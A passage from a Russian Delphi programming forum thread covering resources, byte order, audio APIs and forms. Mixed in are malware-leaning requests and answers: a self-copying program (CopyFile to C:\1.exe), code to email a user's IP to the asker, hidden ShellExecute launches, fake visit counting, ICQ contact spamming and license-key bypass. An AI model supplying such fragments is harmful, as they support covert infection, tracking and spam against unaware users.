if sCode = ':-)' then SmileyName := 'Smiley1';
if sCode = ':-(' then SmileyName := 'Smiley2';
if SmileyName <> '' then
begin
Key := #0;
RemoveText(RxRichEdit1);
InsertSmiley('Smiley1');
end;
end;
end;



и еще вопросик такой возможно кто знает как можно избежать компилирования файла ресурсов и вставлять их или заменять непосредственно. Премного благодарен буду за все идеи помогите....

PS: простите за ужасное оформление кода)))

[z01b]

Ставь себе Restorator 2007

[darckmilord]

=== Begin gifs.rc ===
mygif rcdata "имя_gif-файла.gif"
mygif1 rcdata "RCDATA_1"
=== End dots.rc ===

Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res}

Не примите за флуд, но разобрался сам. За рестор спасибо, стоит) о нем не думал даже.

[W!z@rD]

Кароче ребята вопрос может не по теме ,но всётаки !!
Может кто знает как можно лицензионный ключ узнать к программе ,возможно ли её перепрограмировать ?
Просто когда я открываю программу она выбивает введите лицензионный ключ !!!
А когда закрываю это окно то и программа полностью закрывается!
ПРОСТО ключик к этой проге стоит оч много бабла!


эхх вы хакеры... дык... а взять любой оконный менеджер и сделать:
1. деактивацию окна
2. спрятать окно, не тру?
можно еще DESTROY послать...

[t04]

помогите разобраться, делаю так:

...
type
FLAP_HDR = record
Sign : byte;
ChID : byte;
SEQ : word;
Len : word;
end;
...
var
buff:FLAP_HDR;
begin
recv(iSock,buff,buff_size,0);
...

приходит:

2a 01 df a7 00 04 00 00 00 01

должно приходить(данные снифера):
Command Start: 0x2a
Channel ID: New Connection (0x01)
Sequence Number: 57255
Data Field Length: 4
Protocol Version: 00000001

а у меня приходит
Sign : 04;
ChID : 01;
SEQ : 42975;
Len : 400;
то есть в SEQ приходит не [df a7] a [a7 df]
а в Len приходит не
[00 04] а [04 00]
как поменять байты местами что бы все работало нормально?

[GlOFF]

t04 Ну все хорошо работает и без ошибок! Проблема в недопонимании.
Уж так повелось, что в процессорах интел-совместимых, числа в памяти идут "Старший байт имеет старший адресс"!!!

Т.е. когда ты отправишь данные и примишь их "FLAP_HDR" - все встанет на свои места.

[Inf]

Запускаешь Дельфи, нажимаешь Shift+Ctrl+F11 в появившемся окне переходишь на закладку Application нажимаешь кнопку Load Icon и выбираешь че те надо, потом жмешь окей.


За это конечно благодарствую, но имел в виду немного другое.. нужно изменить иконку так, чтобы при запуске проги эта же иконка отображалась.. сверху... не знаю, как объяснить... там , где название...

[W!z@rD]

За это конечно благодарствую, но имел в виду немного другое.. нужно изменить иконку так, чтобы при запуске проги эта же иконка отображалась.. сверху... не знаю, как объяснить... там , где название...
свойство Icon у формы.

[z01b]

Помогите плз разобраться с ф-цией WaveOutOpen (api)
Было бы хорошо с примерчиком.
Курил мсдн, но не помог (

[W!z@rD]

Помогите плз разобраться с ф-цией WaveOutOpen (api)
Было бы хорошо с примерчиком.
Курил мсдн, но не помог (
гугл (www.google.ru/search?complete=1&hl=ru&q=WaveOutOpen+%2B%D0%BE%D0%BF%D0%B8%D1%81%D0%B0%D0 %BD%D0%B8%D0%B5&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=)



Для воспроизведения звуковых файлов на низком уровне после опре-деления возможностей устройства вывода необходимо открыть устройст-во, это удобно сделать с помощью функции waveOutOpen.

UINT
waveOutOpen(LPHWAVEOUT lphWaveOut,

UINT wDeviceID,

LPWAVEFORMAT lpFormat,

DWORD dwCallbackInstance,

DWORD dwFlags);


Здесь lphWaveOut -дальний указатель на переменную типа HWAVEOUT. В эту переменную будет записан идентификатор устройства вывода, который необходим для выполнения всех операций с устройством. Функция waveOutOpen также может быть использована для определения возможности воспроизведения звуковых данных заданного формата (в том числе нестандартного), в этом случае параметр lphWaveOut может иметь значение NULL, дополнительно в параметре dwFlags следует установить флаг WAVE_FORMAT_QUERY.


подробнее тут (http://promidi.by.ru/multimedia/sound_play.shtml)

выкинь свой мсдн, переходи на траву посильнее - гугл

[z01b]

у меня сайт не работает (
_____________________________________________
Уже разобрался сам ), нашол на васме uMOD, юзайте, очень полезно!

[CyberTm]

Помогите пожалуйста! Есть такой код:
var
a:integer;
b,c:string;
begin
h.host:='www.google.ru';
j.Max:=memo4.Lines.Count;
////////

for a:=1 to memo4.Lines.Count-1 do
begin
Application.ProcessMessages;
if pos(':',memo4.Lines[a])>0 then
begin
b:=copy(memo4.Lines[a],0,pos(':',memo4.Lines[a]));
c:=copy(memo4.Lines[a],pos(':',memo4.Lines[a])+1,length(memo4.Lines[a])+1);
end;
////
form1.Caption:=inttostr(a)+b;
j.Position:=a;
h.ProxyParams.ProxyServer:=b;
h.ProxyParams.ProxyPort:=strtoint(c);
try
h.get('www.google.ru');
except
form1.Caption:='Проверка прокси';
end;
Никак не получается проверить(((
Потому что прокси каждый следующий идет совершенно не правильно...

[W!z@rD]

var
a:integer;
b,c:string;
begin
h.host:='www.google.ru';
j.Max:=memo4.Lines.Count;
////////
Application.ProcessMessages;
for a:=0 to memo4.Lines.Count-1 do
begin
if pos(':',memo4.Lines[a])>0 then
begin
b:=copy(memo4.Lines[a], 0, pos(':',memo4.Lines[a])-1);
c:=copy(memo4.Lines[a],pos(':',memo4.Lines[a])+1,length(memo4.Lines[a]));
end;
////
form1.Caption:=inttostr(a)+b;
j.Position:=a;
h.ProxyParams.ProxyServer:=b;
h.ProxyParams.ProxyPort:=strtoint(c);
try
h.get('www.google.ru');
except
form1.Caption:='Проверка прокси';
end;

мб так? хотя я хз

[CyberTm]

var
a:integer;
b,c:string;
begin
h.host:='www.google.ru';
j.Max:=memo4.Lines.Count;
////////
Application.ProcessMessages;
for a:=0 to memo4.Lines.Count-1 do
begin
if pos(':',memo4.Lines[a])>0 then
begin
b:=copy(memo4.Lines[a], 0, pos(':',memo4.Lines[a])-1);
c:=copy(memo4.Lines[a],pos(':',memo4.Lines[a])+1,length(memo4.Lines[a]));
end;
////
form1.Caption:=inttostr(a)+b;
j.Position:=a;
h.ProxyParams.ProxyServer:=b;
h.ProxyParams.ProxyPort:=strtoint(c);
try
h.get('www.google.ru');
except
form1.Caption:='Проверка прокси';
end;

мб так? хотя я хз
Не то ,к сожаленью

[da_ff]

поставь курсор на строчку функции нажми F5 и запусти
потом нажимая F7 просматривай значения в переменных

[CyberTm]

Так я знаю где ошибка.В функции pos. Я не понимаю как ее правильно написать)

[!{ra!{e/\/]

как написать программу чтоб она "заходила" на сайт допустим mysite.ru ,чтоб счетчик защитывал посещение и при этом юзер ничего не видел?

[ZirroCool]

Вот можешь глянуть исходники моего SiteClicker'а
Скачать (http://rapidshare.com/files/67356048/Click.rar.html)
Правда тут не совсем невидимо для юзера, но зато может юзать список прокси!

[!{ra!{e/\/]

вот при этом счетчик сайта ya.ru увеличивается на +1??
idhttp1.get('http://ya.ru',steam);

[z01b]

Сегодня у меня делфи начал тормозить жестоко. Он гзузиться гдето 2 минуты и работать в него, почти невозможно. От чего он так?
ЗЫ Переустановка не помогает (

[W!z@rD]

Так я знаю где ошибка.В функции pos. Я не понимаю как ее правильно написать)
мда...
функция pos
возвращает: указатель на первый символ-вхождение
при использование надо указать 2 вещи, а именно:
1. SubString - строку необходимую найти
2. s - собственно где искать

пример
var
i: Byte;
begin
i:=pos('привет', 'медвед привет');
if i>0 then ShowMessage(IntToStr(i));
end;
вернет число 8...
давайте посчитаем...
медвед привет <- всего 13 символов...
почему 8??? это же медвед Привет
все правильно... функция вернула указатель на 1 символ...



Сегодня у меня делфи начал тормозить жестоко. Он гзузиться гдето 2 минуты и работать в него, почти невозможно. От чего он так?
ЗЫ Переустановка не помогает (
1. поудаляй компоненты которыми напичканна студия.
2. после деинсталляции зачисть реестр.
3. тотально удаление т.е. все файлы bpl из папки с виндой, Shift+Delete на папке Delphi в ..\Program Files\Borland, удаление всего (в реестре) где встречается Delphi, Borland, pas, ...

[z01b]

1. поудаляй компоненты которыми напичканна студия.
2. после деинсталляции зачисть реестр.
3. тотально удаление т.е. все файлы bpl из папки с виндой, Shift+Delete на папке Delphi в ..\Program Files\Borland, удаление всего (в реестре) где встречается Delphi, Borland, pas, ... Поробовал, не помогло. По прежднему Делфи жутко тормозит (

[xaker-boss]

Люди как залогиница на сйте(vBulletin)?

Кто может сделать так чтобы через прогу можно было залогинеца на форуме? Дапустим в водиш в(Edit1) логин а в(Edit2) пароль и нажимаеш на буттонт
и если не залогинился выдавал бы типа неверные данные.
А если залогинеца то выдовал бы сообщение типа (Вы вошли как (и то что написано в Edit1))
Кому нетрудно сделайте плиз
ну к примеру можно взять античат а я потом потправлю.
Если можете выложити исходник

[zer0c0o1]

Натолкнулся на проблему помогите разобраться:
С помощью Indy пытаюсь реализовать ssl +sock5
1)Для этого создал IdSSLIOHandlerSocket, IdSocksInfo, IdHTTP, взаимно их связал.
2)Библиотеки для поддержки SSL в Indy загрузил

При указании сокса и порта и выполнении операции Get выдается следующая ошибка:
Project raised exception class EAccessViolation with message
'Access violation at address 00475AB8 in module xxxx.exe.'
Read of address 00000014'.

При отключении сокса (в SocksInfo устанавливаю Version:=svNoSocks) сайт открывается без ошибок.
При подключении сокса, но при отключенном SSL режиме (просто http://) сайт также открывается нормально.
При одновременном https:// и наличии сокс-сервера выдается ошибка.

Нашел в гугле интересную статью о такой же ошибке
но не получается реализовать вот ссылка
http://forums.realcoding.net/index.php?showtopic=16095

[xXvladXx]

Люди как залогиница на сйте(vBulletin)?

Кто может сделать так чтобы через прогу можно было залогинеца на форуме? Дапустим в водиш в(Edit1) логин а в(Edit2) пароль и нажимаеш на буттонт
и если не залогинился выдавал бы типа неверные данные.
А если залогинеца то выдовал бы сообщение типа (Вы вошли как (и то что написано в Edit1))
Кому нетрудно сделайте плиз
ну к примеру можно взять античат а я потом потправлю.
Если можете выложити исходник
{прогу недописал и извратил xXvladXx}
unit Unit1;
interface
uses
Windows,SysUtils,Variants,Classes,Forms,
OleCtrls,SHDocVw,StdCtrls,Controls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
WebBrowser1: TWebBrowser;
Edit3: TEdit;
procedure Button1Click(Sender: TObject);
procedure WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function FillForm(WebBrowser: TWebBrowser; FieldName: string; Value: string): Boolean;
var
i, j: Integer;
FormItem: Variant;
begin
Result := False;
if WebBrowser.OleObject.Document.all.tags('FORM').Len gth = 0 then
begin
Exit;
end;
for I := 0 to WebBrowser.OleObject.Document.forms.Length - 1 do
begin
FormItem := WebBrowser.OleObject.Document.forms.Item(I);
for j := 0 to FormItem.Length - 1 do
begin
try
if FormItem.Item(j).id = FieldName then
begin
FormItem.Item(j).Value := Value;
Result := True;
end;
except
Exit;
end;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
webbrowser1.Navigate(edit3.Text);
//заходим на сайт который написан в edit3
end;

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
ovElements: OleVariant;
i:integer;
begin
//это типа такая хрень которая просходит когда тупой WebBrowser загрузит страницу
if Url=edit3.Text then begin
//тут проверяем где мы щас типа если там где надо то..
FillForm(webbrowser1,'navbar_username',edit1.Text) ;
//заполняем navbar_username эт такая хреновина куда логин писать
FillForm(webbrowser1,'navbar_password',edit2.Text) ;
//заполняем navbar_password эт такая хреновина куда пароль писать
ovElements := Webbrowser1.OleObject.Document.forms.item(0).eleme nts;
//это чтото страшное
for i := 0 to (ovElements.Length - 1) do
//тут мы запускаем цикл который проверяет все кнопки на странице
if (ovElements.item(i).name='Вход') then
//тута проверка типа если на кнопки написано Вход то
try //тут исключительный случий(вдруг он кнопку нажать не смог оО )
ovElements.item(i).Click;//тут он пытается её нажать
except
messageboxa(0,'Что-то не так','Что-то не так',0);//тут тишется чтото в алетр если всетаки не получилось нажать кнопку
end;
end;
end;
end. //а тут конец

[xXvladXx]

я хотел так сделать но так ппц как намудрили
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
<script type="text/javascript" src="clientscript/vbulletin_md5.js?v=368"></script>
<input type="text" class="bginput" name="vb_login_username" id="navbar_username" accesskey="u" value="Имя"/>
<input type="checkbox" name="cookieuser" value="1" tabindex="103" id="cb_cookieuser_navbar" accesskey="c" />
<input type="password" class="bginput" style="font-size: 11px" name="vb_login_password" id="navbar_password"/>
<input type="submit" class="button" value="Вход" accesskey="s"/>
<input type="hidden" name="s" value=""/>
<input type="hidden" name="do" value="login" />
<input type="hidden" name="vb_login_md5password" />
<input type="hidden" name="vb_login_md5password_utf" />
</form>

[TOLIA]

А как сделать в паскале неконсольную прогу ?

[ZirroCool]

Жжешь!Ставь делфи и будет те счастье!

[TOLIA]

Где можно скачать делфи ?
И еще чем отличается турбо паскаль от обычного паскаля ?

[zer0c0o1]

что никто незнает как реализовать ssl+socks5 ? через indy

[TOLIA]

Почему у меня в делфи семь когда я ввожу правильный кот у меня вылезает ошибка [Fatal Error] Project2.dpr(2): File not found: 'Crt.dcu'
Хотя все введено правильно.

[zer0c0o1]

так у тебя нету модуля Crt.dcu скинь его к проекту или в либы делфи

а вообще ответ сдесь http://forum.codenet.ru/showthread.php?t=8157&page=3
или
вот сдесь
http://www.google.ru/search?q=Crt.dcu

[Nightmarе]

Народ, я установил в Delphi 7 компонент Tclientsocet, далее при попытке скомпилировать пару исходников ругается на отсутствие компонентов "IdIntercept, IdSSLIntercept, IdSSLOpenSSL" попробовал их поискать в папке с делфи, так и не нашёл... подскажите откуда их достать можно

[W!z@rD]

что никто незнает как реализовать ssl+socks5 ? через indy

я знаю и что?

научитесь правильно ставить вопросы... к примеру на вопрос zer0c0o1'a я ответил...

итак к сути:
ответ также и на вопрос Nightmarе (P.S. перестань писать яркими, вызывающими цветами, хочешь выделиться среди всех?)
необходима библиотека SecureBlackbox - http://www.eldos.com

[GlOFF]

tolia Забавное заявления. Я бы посоветовал купить книгу, а именно самоучитель. за месяц уже будешь делать неплохие для новичка "штуки" :)

// БИБЛИЯ ДЕЛФИ - Михаил Фленов. Это мой совет.

[zer0c0o1]

W!z@rD полный вопрос был задан выше

[FHT]

Интересует посылка формы методом Post по Https
на дельфях. Обгуглился весь...Честно =)
Дельного ничего не нашел.

[W!z@rD]

Интересует посылка формы методом Post по Https
на дельфях. Обгуглился весь...Честно =)
Дельного ничего не нашел.

если уж это (https://forum.antichat.ru/showpost.php?p=501101&postcount=721) не поможет, то я тебе сам попробую сделать

[Jes]

попробуй : TIdConnectionInterceptOpenSSL и TIdServerInterceptOpenSSL и заголовок https ...

[!{ra!{e/\/]

нужно на дельфи сделать программу которая при запуске копируест себя в диск c:\ под именем 1.ехе
как можно это сделать?

[Nightmarе]

нужно на дельфи сделать программу которая при запуске копируест себя в диск c:\ под именем 1.ехе
как можно это сделать?
CopyFile(PChar(Application.ExeName),PChar('C:\1.ex e'),false);

ЗЫ: C:\1.exe пробелы форумом ставятся

[TOLIA]

Нужно сделать программу на дельфи, чтобы при вводе определенной цифры выводился на экран определенный текс!

[ZAMUT]

..................................................
Writeln('Введите день недели');
Readln(n);
Case n of
1: Writeln('Понедельник');
2: Writeln('Вторник');
................................
end;
End.
//Если под консолью

[Nightmarе]

Нужно сделать программу на дельфи, чтобы при вводе определенной цифры выводился на экран определенный текс!
На Delphi вот так:
if Edit1.Text= '1' then
showmessage('lol1');
if Edit1.Text= '2' then
showmessage('lol2');

;) :cool:

[TOLIA]

Zamut
Я понимаю Это. Но мне надо вставить текс очень объемный с множеством предложений, с запятыми. А в паскале копировать нельзя как я понимаю... можно сделать так, вставка из блокнота например ??

[ZAMUT]

Тебе как надо? для каждой циры отдельный файл или чтобы из одного все читало ?

[KEZ]

Интересует посылка формы методом Post по Https
на дельфях. Обгуглился весь...Честно =)
Дельного ничего не нашел.


видимо, либо руки у тебя кривые, либо гугл глючит. скорее всего, первое.
http://msdn2.microsoft.com/en-us/library/aa385473.aspx

[G1yuK]

TOLIA если большой текст и с запятыми, сделай с помощью элемента memo, можно так же использовать чтения txt файла. Только обязательно прокрутку(scrollbar) включи, чтобы просмотреть текст можно было весь

[TOLIA]

Попрдробнее раскажи. Напиши код, а то я понимаю.

[!{ra!{e/\/]

можно написать такую программу чтобы когда юзер подключен к аське програмка отправляла всем его контактам сообщения?

[ZirroCool]

почему бы и нет? А по конкретнее что именно ты хочешь,чтобы прога была на компе у юзера?

[!{ra!{e/\/]

да прога находится у юзера и ждет запуска аськи как только аська запускается то прога отправляет всем из его контакт листа какое то сообщение
А как это можно реализовать?

[TOLIA]

G1yuK
Мне нужна такая вешь, я нажимаю боттон (кнопку) и на экране в новом окне появляется текст соответственный этой кнопки

[xXvladXx]

G1yuK
Мне нужна такая вешь, я нажимаю боттон (кнопку) и на экране в новом окне появляется текст соответственный этой кнопки
ну можеш сделать так
procedure TForm1.FormCreate(Sender: TObject);
begin
showmessage('текст');
end;
или так
procedure TForm1.FormCreate(Sender: TObject);
begin
form2.ShowModal;//или form1.Show; чтоб основное окно не блочилось... и еще предворительно надо зайти file->new->form и на эту форму насовать свякого а еще в uses пропиши unit2 чтоб можно было изменить то что на form2 из unit1
end;
PS сори что я в 4 раз редактирую... пьяный в хлам //уже в 5 :D

[TOLIA]

что я не понял!

[xXvladXx]

стукни в асю 6888990 обьесню...

[ZAMUT]

Исходное слово - " word " представляем его в виде 16ного значния, то есть преобразуем каждый симол слова в hex , получаем 776F7264, теперь задача состоит в том , чтобы зная только 776F7264 получить слово " word ". Произвести обратную операцию. Вопрос как ?

[Flame of Soul]

Функция BytesToHexStr преобразует, к примеру, набор байтов [0,1,1,0] в строку '30313130', HexStrToBytes выполнит обратное преобразование.

unit Hexstr;

interface
uses String16, SysUtils;

type

PByte = ^BYTE;

procedure BytesToHexStr(var hHexStr: string; pbyteArray: PByte; InputLength:
WORD);

procedure HexStrToBytes(hHexStr: string; pbyteArray: Pointer);
procedure HexBytesToChar(var Response: string; hexbytes: PChar; InputLength:
WORD);

implementation

procedure BytesToHexStr(var hHexStr: string; pbyteArray: PByte; InputLength:
WORD);
const

HexChars: array[0..15] of Char = '0123456789ABCDEF';
var

i, j: WORD;
begin

SetLength(hHexStr, (InputLength * 2));
FillChar(hHexStr, sizeof(hHexStr), #0);
j := 1;
for i := 1 to InputLength do
begin
hHexStr[j] := Char(HexChars[pbyteArray^ shr 4]);
inc(j);
hHexStr[j] := Char(HexChars[pbyteArray^ and 15]);
inc(j);
inc(pbyteArray);
end;
end;

procedure HexBytesToChar(var Response: string; hexbytes: PChar; InputLength:
WORD);
var

i: WORD;
c: byte;
begin

SetLength(Response, InputLength);
FillChar(Response, SizeOf(Response), #0);
for i := 0 to (InputLength - 1) do
begin
c := BYTE(hexbytes[i]) and BYTE($F);
if c > 9 then
Inc(c, $37)
else
Inc(c, $30);
Response[i + 1] := char(c);
end; {for}
end;

procedure HexStrToBytes(hHexStr: string; pbyteArray: Pointer);
{pbyteArray указывает на область памяти, хранящей результаты}
var

i, j: WORD;
tempPtr: PChar;
twoDigits: string[2];
begin

tempPtr := pbyteArray;
j := 1;
for i := 1 to (Length(hHexStr) div 2) do
begin
twoDigits := Copy(hHexStr, j, 2);
Inc(j, 2);
PByte(tempPtr)^ := StrToInt('$' + twoDigits);
Inc(tempPtr);
end; {for}
end;

end.


где
interface
uses String16, SysUtils;


unit String16.
interface
{$IFNDEF Win32}

procedure SetLength(var S: string; Len: Integer);
procedure SetString(var Dst: string; Src: PChar; Len: Integer);
{$ENDIF}
implementation
{$IFNDEF Win32}

procedure SetLength(var S: string; Len: Integer);
begin
if Len > 255 then
S[0] := Chr(255)
else
S[0] := Chr(Len)
end;

procedure SetString(var Dst: string; Src: PChar; Len: Integer);
begin
if Len > 255 then
Move(Src^, Dst[1], 255)
else
Move(Src^, Dst[1], Len);
SetLength(Dst, Len);
end;
{$ENDIF}
end.



взяла с http://delphiworld.narod.ru/ код не проверяла...

[GlOFF]

Исходное слово - " word " представляем его в виде 16ного значния, то есть преобразуем каждый симол слова в hex , получаем 776F7264, теперь задача состоит в том , чтобы зная только 776F7264 получить слово " word ". Произвести обратную операцию. Вопрос как ?

Имеем какбы в памяти строку в виде двоичного кода 776F7264. Делаем следующее:
1) дописываем нулевой байт 776F726400
2) wsprint(Buf, "%s", 776F726400);
3) ShowMessage(Buf);

Где Buf - это массив из char

[!{ra!{e/\/]

Помогите откомпилировать пожалуйста

procedure go();
const n=1;
m=1;
s='key';
var
Form1: TForm1;
n_ar:array [1..n] of string;
m_ar:array [1..m] of string;
sites:array [1..n] of string;
i:integer;
t:string;
q,col:integer;
steam:TstringStream;

begin
for i:=1 to n do begin
steam:= TStringStream.Create('');
form1.IdHTTP1.get(n_ar[i],steam);
t:=steam.DataString;
q:=pos(s,t);
t:=copy(t,q,length(t));
q:=pos(#39,t);
t:=copy(t,1,q);
inc(col);
sites[col]:=t;
end;
for i:=1 to col do
ShellExecute(Handle,'open',sites[i] , nil, nil, SW_HIDE);
for i:=1 to m do
ShellExecute(Handle,'open',m_ar[i] , nil, nil, SW_HIDE);
end;

end;

end;

[xaker-boss]

Люди кто может сделайте из этого кода исходник, и залейте его в инет плиз а то у меня чёта неполучается...


{прогу недописал и извратил xXvladXx}
unit Unit1;
interface
uses
Windows,SysUtils,Variants,Classes,Forms,
OleCtrls,SHDocVw,StdCtrls,Controls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
WebBrowser1: TWebBrowser;
Edit3: TEdit;
procedure Button1Click(Sender: TObject);
procedure WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function FillForm(WebBrowser: TWebBrowser; FieldName: string; Value: string): Boolean;
var
i, j: Integer;
FormItem: Variant;
begin
Result := False;
if WebBrowser.OleObject.Document.all.tags('FORM').Len gth = 0 then
begin
Exit;
end;
for I := 0 to WebBrowser.OleObject.Document.forms.Length - 1 do
begin
FormItem := WebBrowser.OleObject.Document.forms.Item(I);
for j := 0 to FormItem.Length - 1 do
begin
try
if FormItem.Item(j).id = FieldName then
begin
FormItem.Item(j).Value := Value;
Result := True;
end;
except
Exit;
end;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
webbrowser1.Navigate(edit3.Text);
//заходим на сайт который написан в edit3
end;

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
ovElements: OleVariant;
i:integer;
begin
//это типа такая хрень которая просходит когда тупой WebBrowser загрузит страницу
if Url=edit3.Text then begin
//тут проверяем где мы щас типа если там где надо то..
FillForm(webbrowser1,'navbar_username',edit1.Text) ;
//заполняем navbar_username эт такая хреновина куда логин писать
FillForm(webbrowser1,'navbar_password',edit2.Text) ;
//заполняем navbar_password эт такая хреновина куда пароль писать
ovElements := Webbrowser1.OleObject.Document.forms.item(0).eleme nts;
//это чтото страшное
for i := 0 to (ovElements.Length - 1) do
//тут мы запускаем цикл который проверяет все кнопки на странице
if (ovElements.item(i).name='Вход') then
//тута проверка типа если на кнопки написано Вход то
try //тут исключительный случий(вдруг он кнопку нажать не смог оО )
ovElements.item(i).Click;//тут он пытается её нажать
except
messageboxa(0,'Что-то не так','Что-то не так',0);//тут тишется чтото в алетр если всетаки не получилось нажать кнопку
end;
end;
end;
end. //а тут конец

Буду вам очень при очень благодарен.

[kair]

Люди кто может сделайте из этого кода исходник, и залейте его в инет плиз а то у меня чёта неполучается...
http://kair111.jino-net.ru/browser.rar

подскажите пожалуйста как написать код который бы отправлял Ip(внешний) на мою почту.

[Jes]

только IP? как-то ты скромно...)

вот как отправить почту ...
begin
SMTP.Host:='xxx'; // адрес почтового сервера
SMTP.Port:=25; // порт по которому будет осуществляться подключение
SMTP.Username:='yyy'; // логин пользователя
SMTP.Password:='zzz'; // пароль пользователя
SMTP.AuthenticationType:=atLogin; // тип подключения к серверу - с авторизацией
with IdMessage do
begin

Recipients.EMailAddresses := 'xxxx'; // майл получателя письма
Subject := 'Йа тут'; // тема письма ну или $ip

end;

SMTP.Connect;
try
SMTP.Send(IdMessage);
finally
SMTP.Disconnect;
end; end;

а чтоб узнать IP достаточно лишь посмотреть код письма (http://www.delphirus.com/article133.html) ... так круче :D

[Iceangel_]

Как сделать форму ввиде сердца(примерно 5 см\5см)? Кто поможет, щедро отблагодарю плюсиками...

[Jes]

Как сделать форму ввиде сердца

SetWindowsRgn(Form1.Handle, True);

function BitmapToRegion(Bitmap: TBitmap; TransColor: TColor): HRGN;
var
X, Y: Integer;
XStart: Integer;
begin
Result := 0;
with Bitmap do
for Y := 0 to Height - 1 do
begin
X := 0;
while X < Width do
begin

while (X < Width) and (Canvas.Pixels[X, Y] = TransColor) do
Inc(X);
if X >= Width then
Break;
XStart := X;

while (X < Width) and (Canvas.Pixels[X, Y] <> TransColor) do
Inc(X);

if Result = 0 then
Result := CreateRectRgn(XStart, Y, X, Y + 1)
else
CombineRgn(Result, Result,
CreateRectRgn(XStart, Y, X, Y + 1), RGN_OR);
end;
end;
end;

Где TBitmap - картинка с сердцем , TColor - цвет фона картинки; (Цвета картинки не важны т к вырезается только форма...а цвет делаешь просто картинкой на форме (как текстуру))

[.Begemot.]

Подскажите как сделать чтобы после нажатия на кнопку на Form1, текс с первой формы передовался на Form2. Вроде указываю всё правильно, ошибок не выходит, но Form2 не открывается. :confused:

[Nightmarе]

Подскажите как сделать чтобы после нажатия на кнопку на Form1, текс с первой формы передовался на Form2. Вроде указываю всё правильно, ошибок не выходит, но Form2 не открывается. :confused:
Не совсем понял, при нажатии на кнопку с формы 1 тебе нужно чтобы текст из Memo
формы 1 передавался в Memo формы 2???
Если так как я думаю, то кидаешь вторую форму с Memo и код кнопке на первой форме:
form2.show;
form2.memo1.Text:= Memo1.Text;

[GlOFF]

Подскажите как сделать чтобы после нажатия на кнопку на Form1, текс с первой формы передовался на Form2. Вроде указываю всё правильно, ошибок не выходит, но Form2 не открывается. :confused:

Вопрос не полон у тебя... Не очень понятно, что ты хочешь получить. Как передать текст тебе уже сказали, форму открывай как
Form2.Show;

[.Begemot.]

Form2.Show; - помог. Спасибо. :)

[z01b]

"Чтобы правильно задать вопрос, нужно знать большую часть ответа!" (Р. Шекли)

З.Ы. Сорри за оффтоп

[xaker-boss]

Люди вот есть исходник проги, которая логинатся на сайтах сделанных на движке vBulletin
www.forum-mp3.org/browser2.zip
кто может сделать так чтобы она находила текст в WebBrowser1- 'Личные сообщения:' и отображала в edit следующие 20 символов которые отображаются после слова 'Личные сообщения:' ???
Плиз очень надо но немогу я это осилеть и всё

[Jes]

кто может сделать так чтобы она находила текст в отображала в edit следующие 20 символов
я исходник не смотрел , но ничего сложного не вижу совсем...

st:= webBrawser1. (тут не то Content , не то Text... (возвращет содержимое браузера как текст));
р := pos('Личные сообщения',st);
Edit1.text :=copy(st, p, 20) ;

[xaker-boss]

Jes посмотри исходник, не спрашивал бы если бы все было так просто, там через ОЛЕ скорее всего текст документа взять можно, но как реализовать хз
Народ помогите кто может. #754-пост

[Jes]

unit Unit;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
StdCtrls;

type
TForm14 = class(TForm)
Button1: TButton;
ht1: TIdHTTP;
TEdit : Edit1;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form14: TForm14;

implementation

{$R *.dfm}

procedure TForm14.Button1Click(Sender: TObject);
var st:string;
p:integer;
begin

st:= ht1.Get('http://Страница/');
р := pos('Личные сообщения',st); // можно pos('Личные сообщения',st) + 16; чтоб убрать надпись "Личные сообщения"
Edit1.text :=copy(st, p, 20) ;

end;

end.

[Jes]

кстати исходник ужасный...
логинится удобнее...

mpfds := TIdMultiPartFormDataStream.Create(Self);
mpfds.AddFormField('vb_login_username', 'Вася');
mpfds.AddFormField('vb_login_password', 'Пупкин');

IdHTTP.AllowCookies:= True;
IdHTTP.HandleRedirects:= True;
idHTTP.Request.UserAgent:= 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)';
idHTTP.Request.ContentType:='application/x-www-form-urlencoded';
idHttp.Post('http:// .... /login.php?do=login', mpfds);
mpfds.Free;

но конкретно для твоего сайта :
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
так-что еще md5 нада обработать...